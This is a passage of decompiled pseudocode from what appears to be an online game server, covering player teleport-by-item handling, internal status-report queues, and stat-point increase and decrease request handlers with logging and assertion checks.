+ 776))(v4, 6, 21, 4420); v18 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { v18 = -1; FunctionEntarance::_FunctionEntarance(&_); } LABEL_20: __security_check_cookie((unsigned int)&_ ^ v17); } //----- (00557F40) -------------------------------------------------------- #error "557F40: undefined or illegal type '#734' (funcsize=193)" //----- (00558200) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly(void *this) { void *v1; // esi@1 signed int v2; // edi@1 unsigned __int16 v3; // ax@1 int v4; // ebp@2 int v5; // eax@3 char *v6; // edi@3 DebugLogging *v7; // eax@3 DebugLogging *v8; // esi@3 _iobuf *v9; // eax@5 DebugLogging *v10; // eax@7 DebugLogging *v11; // eax@7 int v12; // eax@9 unsigned int v13; // ecx@9 char *v14; // ecx@9 char *v15; // ST10_4@9 DebugLogging *v16; // eax@9 DebugLogging *v17; // eax@9 int v18; // ecx@10 MapInfo *v19; // edi@11 int v20; // ST10_4@13 Name4 *v21; // eax@13 char *v22; // ST08_4@13 DebugLogging *v23; // eax@13 DebugLogging *v24; // eax@13 DebugLogging *v25; // eax@13 DebugLogging *v26; // eax@13 unsigned int v27; // eax@14 char *v28; // eax@14 unsigned int v29; // eax@14 char *v30; // eax@14 int v31; // eax@14 int v32; // edx@14 FunctionEntarance _; // [sp+10h] [bp-7Ch]@1 char linkstruct; // [sp+14h] [bp-78h]@14 char v35; // [sp+28h] [bp-64h]@14 char v36; // [sp+49h] [bp-43h]@14 int v37; // [sp+6Ah] [bp-22h]@14 int v38; // [sp+6Eh] [bp-1Eh]@14 unsigned int v39; // [sp+7Ch] [bp-10h]@1 int v40; // [sp+88h] [bp-4h]@1 v1 = this; v39 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly"; v2 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_WORD *)v1 + 71612); v40 = 0; if ( v3 >= 0x80u || (v4 = 12 * v3 + 319680336, 12 * v3 == -319680336) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1384))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v6 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v6 = *(_DWORD *)v5; *((_DWORD *)v6 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v5 + 8); *((_DWORD *)v6 + 3) = *(_DWORD *)(v5 + 12); v6[16] = 0; v7 = DebugLogging::operator<<(&ChargedItemLog, "Fly Null return "); v8 = v7; if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v9 = v8->dl_FilePointer; if ( v9 ) fprintf(v9, "%d"); } } v10 = DebugLogging::operator<<(v8, (char *)&stru_63450C); v11 = DebugLogging::operator<<(v10, v6); DebugLogging::operator<<(v11, &deb_LF); goto LABEL_15; } if ( *((_WORD *)v1 + 2) == queue_sparrowfly.mq_Buffer[v3].handle ) { v18 = queue_sparrowfly.mq_Buffer[v3].content.mapid; if ( v18 < mapdatabox.mdb_maxmapid ) { v19 = mapdatabox.mdb_index[v18]; if ( v19 ) { v27 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v27; v28 = (char *)&namestring + 256 * v27; *(_DWORD *)v28 = *(_DWORD *)&v19->MapName.n3_name[0]; *((_DWORD *)v28 + 1) = *(_DWORD *)&v19->MapName.n3_name[4]; *((_DWORD *)v28 + 2) = *(_DWORD *)&v19->MapName.n3_name[8]; v28[12] = 0; strncpy(&v35, v28, 0xCu); v29 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v29; v30 = (char *)&namestring + 256 * v29; *(_DWORD *)v30 = *(_DWORD *)&v19->MapName.n3_name[0]; *((_DWORD *)v30 + 1) = *(_DWORD *)&v19->MapName.n3_name[4]; *((_DWORD *)v30 + 2) = *(_DWORD *)&v19->MapName.n3_name[8]; v30[12] = 0; strncpy(&v36, v30, 0xCu); v31 = *(_DWORD *)(v4 + 4); v32 = *(_DWORD *)v1; v38 = *(_DWORD *)(v4 + 8); v37 = v31; (*(void (__thiscall **)(void *, signed int, signed int))(v32 + 772))(v1, 12, 26); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 2332))(v1, 1792, 9); (*(void (__thiscall **)(void *, char *, signed int, signed int, signed int))(*(_DWORD *)v1 + 1528))( v1, &linkstruct, 6, 9, 10); LABEL_15: v40 = -1; goto LABEL_16; } v2 = -1; } v20 = queue_sparrowfly.mq_Buffer[v3].content.mapid; v21 = (Name4 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1384))(v1); v22 = NameString::operator__(&namestring, v21); v23 = DebugLogging::operator<<(&ChargedItemLog, "Fly Null map"); v24 = DebugLogging::operator<<(v23, v22); v25 = DebugLogging::operator<<(v24, (char *)&stru_63C688); v26 = DebugLogging::operator<<(v25, v20); DebugLogging::operator<<(v26, &deb_LF); v40 = v2; } else { v12 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1384))(v1); v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)v12; *((_DWORD *)v14 + 1) = *(_DWORD *)(v12 + 4); *((_DWORD *)v14 + 2) = *(_DWORD *)(v12 + 8); v15 = v14; *((_DWORD *)v14 + 3) = *(_DWORD *)(v12 + 12); v14[16] = 0; v16 = DebugLogging::operator<<(&ChargedItemLog, "Fly Null "); v17 = DebugLogging::operator<<(v16, v15); DebugLogging::operator<<(v17, &deb_LF); v40 = -1; } LABEL_16: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly"); __security_check_cookie((unsigned int)&_ ^ v39); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00558540) -------------------------------------------------------- void __thiscall SpyNet::EspionageAgent::EspionageAgent(SpyNet::EspionageAgent *this) { char *v1; // edx@1 signed int v2; // esi@1 this->ea_Pointer.mask = 15; this->ea_Pointer.value = 0; v1 = (char *)&this->ea_SecretReport[0].sr_Report.getheal.healingup; v2 = 16; do { *((_DWORD *)v1 - 2) = 1; *((_DWORD *)v1 - 1) = 0; *(_DWORD *)v1 = -1; *((_DWORD *)v1 + 1) = 1000; v1 += 16; --v2; } while ( v2 ); } //----- (00558580) -------------------------------------------------------- void __thiscall SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(SpyNet::IntelligenceOffice4Mob *this) { this->baseclass_0.io_Pointer.mask = 15; this->baseclass_0.io_Pointer.value = 0; this->baseclass_0.vfptr = (SpyNet::IntelligenceOfficeVtbl *)&SpyNet::IntelligenceOffice4Mob::_vftable_; } // 6744D0: using guessed type int (__stdcall *SpyNet__IntelligenceOffice4Mob___vftable_)(int, int report); //----- (005585A0) -------------------------------------------------------- void __thiscall SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(SpyNet::IntelligenceOffice4Mob *this) { this->baseclass_0.vfptr = (SpyNet::IntelligenceOfficeVtbl *)SpyNet::IntelligenceOffice::_vftable_; } // 6744C0: using guessed type int (*SpyNet__IntelligenceOffice___vftable_[3])(); //----- (005585B0) -------------------------------------------------------- #error "5585B0: undefined or illegal type '#593' (funcsize=20)" //----- (005585F0) -------------------------------------------------------- void __thiscall SpyNet::IntelligenceOffice::io_ReadReport(SpyNet::IntelligenceOffice *this, #593 *a2, SpyNet::EspionageAgent *spy) { SpyNet::IntelligenceOffice *v3; // esi@1 unsigned int v4; // ebp@1 int v5; // eax@2 SpyNet::SecretReportType v6; // ecx@2 char *v7; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SpyNet::IntelligenceOffice::io_ReadReport"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SpyNet::IntelligenceOffice::io_ReadReport"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; while ( 2 ) { v5 = v3->io_Pointer.value & 0xF; v6 = spy->ea_SecretReport[v5].sr_Type; v7 = (char *)spy + v5 * 16; switch ( v6 ) { case 1: v3->vfptr->io_SRT_GETHEAL(v3, a2, (SpyNet::SecretReport *)v7); goto LABEL_7; case 2: v3->vfptr->io_SRT_SOMEONE_GIVE_ABSTATE(v3, a2, (SpyNet::SecretReport *)v7); goto LABEL_7; case 3: v3->vfptr->io_SRT_SOMEONE_REMOVE_ABSTATE(v3, a2, (SpyNet::SecretReport *)v7); goto LABEL_7; case 4: v3->vfptr->io_SRT_VANISH_ABSTATE(v3, a2, (SpyNet::SecretReport *)v7); goto LABEL_7; case 0: goto $L157756; default: LABEL_7: ++v4; v3->io_Pointer.value = v3->io_Pointer.mask & (v3->io_Pointer.value + 1); if ( v4 < 0x10 ) continue; AssertClass::ac_AssertFail( &shineassert, "SpyNet::IntelligenceOffice::io_ReadReport : Cannot found EOR(End of Report)", 0); $L157756: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SpyNet::IntelligenceOffice::io_ReadReport"); return; } } } //----- (00558700) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStat_Increase(int this, int pAck) { unsigned __int16 v2; // ax@1 int v3; // esi@1 int v4; // edx@1 int result; // eax@2 int v6; // ebx@3 int v7; // ebp@3 int v8; // ecx@3 unsigned __int8 v9; // dl@3 int v10; // eax@5 char v11; // bl@9 int v12; // edx@19 char *v13; // eax@19 int v14; // eax@21 v2 = *(_WORD *)(pAck + 13); v3 = this; v4 = *(_DWORD *)this; if ( v2 == 2753 ) { v6 = *(_DWORD *)(this + 3856); v7 = (unsigned __int8)(*(int (**)(void))(v4 + 1236))(); v8 = shineparam.scp_param.commonparam[v7]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 48))(v6)]; v9 = *(_BYTE *)(pAck + 6); if ( v8 >= *(_BYTE *)(pAck + 6) + *(_BYTE *)(pAck + 7) + *(_BYTE *)(pAck + 8) + *(_BYTE *)(pAck + 9) + *(_BYTE *)(pAck + 10) ) { v10 = 0; do { if ( v8 < *(_BYTE *)(pAck + v10 + 6) ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_FreeStat_Increase : Invalid Stat ", v10); return (*(int (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))( v3, 4, 103, 2755); } ++v10; } while ( v10 < 5 ); if ( *(_BYTE *)(v3 + 32250) >= v9 ) { if ( *(_BYTE *)(v3 + 32251) >= *(_BYTE *)(pAck + 7) ) { if ( *(_BYTE *)(v3 + 32252) >= *(_BYTE *)(pAck + 8) ) { if ( *(_BYTE *)(v3 + 32253) >= *(_BYTE *)(pAck + 9) ) { v11 = 4; if ( *(_BYTE *)(v3 + 32254) >= *(_BYTE *)(pAck + 10) ) v11 = pAck; } else { v11 = 3; } } else { v11 = 2; } } else { v11 = 1; } } else { v11 = 0; } *(_BYTE *)(v3 + 32250) = v9; *(_BYTE *)(v3 + 32251) = *(_BYTE *)(pAck + 7); *(_BYTE *)(v3 + 32252) = *(_BYTE *)(pAck + 8); v12 = *(_DWORD *)(v3 + 3856); *(_BYTE *)(v3 + 32253) = *(_BYTE *)(pAck + 9); *(_BYTE *)(v3 + 32254) = *(_BYTE *)(pAck + 10); Parameter::Container::c_Storepure((void *)(v3 + 3860), v12, v3); v13 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4191; v13[2] = v11; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v14 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v3, &gpp); result = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1316))(v3); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_StatIncrease : Packet Too Long", 3); result = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1316))(v3); } } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_StatIncrease :too many stat - changestat", 0); result = (*(int (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 4, 97, 2754); } } else { result = (*(int (__stdcall **)(signed int, signed int, _DWORD))(v4 + 776))(4, 97, v2); } return result; } //----- (005588D0) -------------------------------------------------------- int __userpurge ShineObjectClass::ShinePlayer::so_ply_FreeStat_Decrease(int a1, int a2, int a3, int pAck) { int v4; // edi@1 int v5; // esi@1 int result; // eax@2 int v7; // ST10_4@3 int v8; // ebx@3 int v9; // ebp@3 int v10; // ebp@3 DebugLogging *v11; // ebx@6 _iobuf *v12; // eax@8 int v13; // eax@11 unsigned __int8 v14; // al@14 char v15; // bl@15 int v16; // ecx@25 char *v17; // eax@25 int v18; // eax@27 int v19; // [sp+0h] [bp-8h]@0 v4 = pAck; v5 = a1; if ( *(_WORD *)(pAck + 13) == 2753 ) { v7 = a2; v8 = *(_DWORD *)(a1 + 3856); v9 = (unsigned __int8)(*(int (__stdcall **)(int, int, int))(*(_DWORD *)a1 + 1236))(a3, v7, v19); v10 = shineparam.scp_param.commonparam[v9]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v8 + 48))(v8)]; if ( v10 >= *(_BYTE *)(pAck + 6) + *(_BYTE *)(pAck + 8) + *(_BYTE *)(pAck + 7) + *(_BYTE *)(pAck + 10) + *(_BYTE *)(pAck + 9) ) { if ( !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v5 + 57880) + 32))(v5 + 57880) ) { pAck = *(_WORD *)(pAck + 11); v11 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_StatDecrease : "); if ( DebugLogging::dl_ActivAll ) { if ( v11->dl_Activ ) { DebugLogging::dl_FilePoint(v11); v12 = v11->dl_FilePointer; if ( v12 ) fprintf(v12, "%d"); } } DebugLogging::operator<<(v11, &deb_LF); } v13 = 0; do { if ( v10 < *(_BYTE *)(v4 + v13 + 6) ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_FreeStat_Increase : Invalid Stat ", v13); return (*(int (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))( v5, 4, 103, 2755); } ++v13; } while ( v13 < 5 ); v14 = *(_BYTE *)(v4 + 6); if ( *(_BYTE *)(v5 + 32250) <= v14 ) { if ( *(_BYTE *)(v5 + 32251) <= *(_BYTE *)(v4 + 7) ) { if ( *(_BYTE *)(v5 + 32252) <= *(_BYTE *)(v4 + 8) ) { if ( *(_BYTE *)(v5 + 32253) <= *(_BYTE *)(v4 + 9) ) { v15 = 4; if ( *(_BYTE *)(v5 + 32254) <= *(_BYTE *)(v4 + 10) ) v15 = pAck; } else { v15 = 3; } } else { v15 = 2; } } else { v15 = 1; } } else { v15 = 0; } *(_BYTE *)(v5 + 32250) = v14; *(_BYTE *)(v5 + 32251) = *(_BYTE *)(v4 + 7); *(_BYTE *)(v5 + 32252) = *(_BYTE *)(v4 + 8); v16 = *(_DWORD *)(v5 + 3856); *(_BYTE *)(v5 + 32253) = *(_BYTE *)(v4 + 9); *(_BYTE *)(v5 + 32254) = *(_BYTE *)(v4 + 10); Parameter::Container::c_Storepure((void *)(v5 + 3860), v16, v5); v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4197; v17[2] = v15; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v18 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v5, &gpp); result = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1316))(v5); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_FreeStat_Decrease : Packet Too Long", 3); result = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1316))(v5); } } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_StatIncrease :too many stat - changestat", 0); result = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 776))(v5); } } else { (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)(a1 + 57880) + 40))(a1 + 57880, *(_WORD *)(pAck + 11)); result = (*(int (__thiscall **)(int, signed int, signed int, _DWORD))(*(_DWORD *)v5 + 776))( v5, 4, 103, *(_WORD *)(pAck + 13)); } return result; } // 5588D0: could not find valid save-restore pair for ebx // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00558B30) -------------------------------------------------------- int __userpurge ShineObjectClass::ShinePlayer::so_ply_FreeStat_Set_Ack(int a1, int a2, int a3, int pAck) { int v4; // esi@1 int result; // eax@2 int v6; // ST08_4@3 int v7; // ebx@3 int v8; // ebp@3 int v9; // ebx@3 int v10; // eax@5 int v11; // ST04_4@7 DebugLogging *v12; // eax@7 DebugLogging *v13; // eax@7 int v14; // eax@8 int v15; // edx@11 v4 = a1; if ( *(_WORD *)(pAck + 13) == 2753 ) { v6 = a2; v7 = *(_DWORD *)(a1 + 3856); v8 = (unsigned __int8)(*(int (__stdcall **)(int, int))(*(_DWORD *)a1 + 1236))(a3, v6); v9 = shineparam.scp_param.commonparam[v8]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v7 + 48))(v7)]; if ( v9 >= *(_BYTE *)(pAck + 6) + *(_BYTE *)(pAck + 7) + *(_BYTE *)(pAck + 8) + *(_BYTE *)(pAck + 9) + *(_BYTE *)(pAck + 10) ) { v10 = *(_WORD *)(pAck + 11); if ( (_WORD)v10 ) { if ( !(unsigned __int8)(*(int (__thiscall **)(int, int, int, _DWORD))(*(_DWORD *)(v4 + 57880) + 32))( v4 + 57880, v4, v10, 0) ) { v11 = *(_WORD *)(pAck + 11); v12 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_StatDecrease : "); v13 = DebugLogging::operator<<(v12, v11); DebugLogging::operator<<(v13, &deb_LF); } } v14 = 0; while ( v9 >= *(_BYTE *)(pAck + v14 + 6) ) { ++v14; if ( v14 >= 5 ) { *(_BYTE *)(v4 + 32250) = *(_BYTE *)(pAck + 6); *(_BYTE *)(v4 + 32251) = *(_BYTE *)(pAck + 7); *(_BYTE *)(v4 + 32252) = *(_BYTE *)(pAck + 8); v15 = *(_DWORD *)v4; *(_BYTE *)(v4 + 32253) = *(_BYTE *)(pAck + 9); *(_BYTE *)(v4 + 32254) = *(_BYTE *)(pAck + 10); (*(void (__thiscall **)(int, signed int))(v15 + 776))(v4, 4); ShineObjectClass::ShinePlayer::sp_UserCheckFreeStatRelease(v4); return (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1316))(v4); } } AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_FreeStat_Increase : Invalid Stat ", v14); result = (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 776))(v4, 4); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_StatIncrease :too many stat - changestat", 0); result = (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 776))(v4, 4); } } else { ShineObjectClass::ShinePlayer::sp_UserCheckFreeStatRelease(a1); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)(v4 + 57880) + 40))(v4 + 57880, *(_WORD *)(pAck + 11)); result = (*(int (__thiscall **)(int, signed int, signed int, _DWORD))(*(_DWORD *)v4 + 776))( v4, 4, 103, *(_WORD *)(pAck + 13)); } return result; } // 558B30: could not find valid save-restore pair for ebx //----- (00558CD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@5 int v6; // ebx@5 int v7; // ebx@5 int v8; // edi@5 unsigned __int8 v9; // al@9 int v10; // eax@11 int v11; // ecx@11 char *v12; // eax@18 char v13; // al@18 int v14; // eax@19 char *v15; // [sp-4h] [bp-24h]@4 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v17; // [sp+1Ch] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( !(_S5_61 & 1) ) { _S5_61 |= 1u; stru_130DF558.cmc_AllowMode = 86; atexit(_E6_74); } if ( !((1 << **(_BYTE **)(v4 + 3568)) & stru_130DF558.cmc_AllowMode) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2759); v15 = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"; LABEL_24: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v15); return; } v5 = *(_DWORD *)(v4 + 3856); v6 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1236))(v4); v7 = shineparam.scp_param.commonparam[v6]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 48))(v5)]; v8 = ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(v4); if ( ShineObjectClass::ShinePlayer::sp_IsUserCheckFreeStatEnable((void *)v4) ) v8 = ShineObjectClass::ShinePlayer::sp_UserCheckCalcCurrentStat(v4); if ( v7 <= v8 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : Try to increase above remain point", v7 > v8); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2754); LABEL_23: v15 = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"; goto LABEL_24; } v9 = *(_BYTE *)(netcmd + 2); if ( v9 > 4u ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : Invalid Stat", v9); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2755); goto LABEL_23; } if ( !ShineObjectClass::ShinePlayer::sp_IsUserCheckFreeStatEnable((void *)v4) ) { *(_DWORD *)(v4 + 23684) = operator new(6u); v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1056))(v4); v11 = *(_DWORD *)(v4 + 23684); *(_DWORD *)v11 = *(_DWORD *)v10; *(_WORD *)(v11 + 4) = *(_WORD *)(v10 + 4); } switch ( *(_BYTE *)(netcmd + 2) ) { case 0: ++**(_BYTE **)(v4 + 23684); break; case 1: ++*(_BYTE *)(*(_DWORD *)(v4 + 23684) + 1); break; case 2: ++*(_BYTE *)(*(_DWORD *)(v4 + 23684) + 2); break; case 3: ++*(_BYTE *)(*(_DWORD *)(v4 + 23684) + 3); break; case 4: ++*(_BYTE *)(*(_DWORD *)(v4 + 23684) + 4); break; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : Invalid Stat", *(_BYTE *)(netcmd + 2)); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2755); goto LABEL_23; } v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4191; v12[2] = *(_BYTE *)(netcmd + 2); v13 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v13, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Packet Too Long", 3) ) { v14 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v4, &gpp); } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1316))(v4); v17 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00558FA0) -------------------------------------------------------- #error "558FA0: undefined or illegal type '#593' (funcsize=53)" //----- (00559080) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_StatIncrease(void *this, int suc) { int v2; // esi@1 int v3; // edi@1 int v4; // ST18_4@1 int v5; // edi@1 int v6; // eax@1 unsigned __int8 v7; // al@4 unsigned __int8 v8; // al@6 unsigned __int8 v9; // al@8 unsigned __int8 v10; // al@10 unsigned __int8 v11; // al@12 signed int v12; // [sp-4h] [bp-24h]@2 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)(v2 + 3856); v4 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1236))(v2); v5 = shineparam.scp_param.commonparam[v4]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 48))(v3)]; v6 = ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(v2); if ( v5 > v6 ) { switch ( *(_BYTE *)(suc + 6) ) { case 0: v7 = *(_BYTE *)(v2 + 32250); if ( v7 < shineparam.scp_param.MaxFreeStat ) *(_BYTE *)(v2 + 32250) = v7 + 1; break; case 1: v8 = *(_BYTE *)(v2 + 32251); if ( v8 < shineparam.scp_param.MaxFreeStat ) *(_BYTE *)(v2 + 32251) = v8 + 1; break; case 2: v9 = *(_BYTE *)(v2 + 32252); if ( v9 < shineparam.scp_param.MaxFreeStat ) *(_BYTE *)(v2 + 32252) = v9 + 1; break; case 3: v10 = *(_BYTE *)(v2 + 32253); if ( v10 < shineparam.scp_param.MaxFreeStat ) *(_BYTE *)(v2 + 32253) = v10 + 1; break; case 4: v11 = *(_BYTE *)(v2 + 32254); if ( v11 < shineparam.scp_param.MaxFreeStat ) *(_BYTE *)(v2 + 32254) = v11 + 1; break; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Invalid Stat", *(_BYTE *)(suc + 6)); v12 = 2755; goto LABEL_16; } Parameter::Container::c_Storepure((void *)(v2 + 3860), *(_DWORD *)(v2 + 3856), v2); ShineObjectClass::ShinePlayer::sp_UserCheckFreeStatApplication(v2, -1, v5, v2); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Try to increase above remain point", v5 > v6); v12 = 2754; LABEL_16: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 4, 97, v12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"); } //----- (00559250) -------------------------------------------------------- #error "559250: undefined or illegal type '#593' (funcsize=55)" //----- (00559330) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 void *v5; // eax@6 int v6; // edx@6 int v7; // eax@6 int v8; // ecx@6 char *v9; // eax@13 int v10; // eax@15 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S7_53 & 1) ) { _S7_53 |= 1u; stru_130DF560.cmc_AllowMode = 86; atexit(_E8_48); } if ( (1 << **((_BYTE **)v4 + 892)) & stru_130DF560.cmc_AllowMode ) { if ( !ShineObjectClass::ShinePlayer::sp_IsUserCheckFreeStatEnable(v4) ) { v5 = operator new(6u); v6 = *(_DWORD *)v4; *((_DWORD *)v4 + 5921) = v5; v7 = (*(int (__thiscall **)(void *))(v6 + 1056))(v4); v8 = *((_DWORD *)v4 + 5921); *(_DWORD *)v8 = *(_DWORD *)v7; *(_WORD *)(v8 + 4) = *(_WORD *)(v7 + 4); } switch ( *(_BYTE *)(netcmd + 2) ) { case 0: --**((_BYTE **)v4 + 5921); goto LABEL_13; case 1: --*(_BYTE *)(*((_DWORD *)v4 + 5921) + 1); goto LABEL_13; case 2: --*(_BYTE *)(*((_DWORD *)v4 + 5921) + 2); goto LABEL_13; case 3: --*(_BYTE *)(*((_DWORD *)v4 + 5921) + 3); goto LABEL_13; 